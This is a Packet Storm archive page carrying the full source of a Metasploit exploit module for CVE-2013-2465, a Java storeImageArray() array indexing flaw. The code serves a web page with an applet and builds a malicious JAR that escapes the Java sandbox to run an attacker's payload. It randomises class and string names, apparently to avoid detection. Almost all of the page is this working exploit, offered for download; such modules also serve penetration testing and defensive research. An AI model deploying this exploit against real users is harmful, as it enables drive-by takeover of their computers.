exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Java storeImageArray() Invalid Array Indexing

Java storeImageArray() Invalid Array Indexing
Posted Aug 16, 2013
Authored by sinn3r, juan vazquez, temp66 | Site metasploit.com

This Metasploit module abuses an Invalid Array Indexing Vulnerability on the static function storeImageArray() function in order to produce a memory corruption and finally escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn't bypass click2play, has been tested successfully on Java 7u21 on Windows and Linux systems. This was created based upon the Packet Storm Bug Bounty release for this issue.

tags | exploit, java, bug bounty, packet storm
systems | linux, windows
advisories | CVE-2013-2465, OSVDB-96269
SHA-256 | 0c05dd015762db29445b83c9149e17cf5ae97454169c165283cc6da07609a5dd

Java storeImageArray() Invalid Array Indexing

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )
super( update_info( info,
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
'Description' => %q{
This module abuses an Invalid Array Indexing Vulnerability on the
static function storeImageArray() function in order to produce a
memory corruption and finally escape the Java Sandbox. The vulnerability
affects Java version 7u21 and earlier. The module, which doesn't bypass
click2play, has been tested successfully on Java 7u21 on Windows and
Linux systems.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # From PacketStorm
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-2465' ],
[ 'OSVDB', '96269' ],
[ 'EDB', '27526' ],
[ 'URL', 'http://packetstormsecurity.com/files/122777/' ],
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 12 2013'
))
end

def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class")
@color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class")
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)
@color_model_class_name = rand_text_alpha("MyColorModel".length)
@color_space_class_name = rand_text_alpha("MyColorSpace".length)

@exploit_class.gsub!("Exploit", @exploit_class_name)
@exploit_class.gsub!("MyColorModel", @color_model_class_name)
@exploit_class.gsub!("MyColorSpace", @color_space_class_name)

@color_model_class.gsub!("Exploit", @exploit_class_name)
@color_model_class.gsub!("MyColorModel", @color_model_class_name)
@color_model_class.gsub!("MyColorSpace", @color_space_class_name)


@color_space_class.gsub!("Exploit", @exploit_class_name)
@color_space_class.gsub!("MyColorModel", @color_model_class_name)
@color_space_class.gsub!("MyColorSpace", @color_space_class_name)

super
end

def on_request_uri( cli, request )
print_debug("Requesting: #{request.uri}")
if request.uri !~ /\.jar$/i
if not request.uri =~ /\/$/
print_status("Sending redirect...")
send_redirect(cli, "#{get_resource}/", '')
return
end

print_status("Sending HTML...")
send_response_html(cli, generate_html, {'Content-Type'=>'text/html'})
return
end

print_status("Sending .jar file...")
send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'})

handler( cli )
end

def generate_html
jar_name = rand_text_alpha(5+rand(3))
html = %Q|<html>
<head>
</head>
<body>
<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
</applet>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
return html
end

def generate_jar(cli)

p = regenerate_payload(cli)
jar = p.encoded_jar

jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest

return jar.pack
end

end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close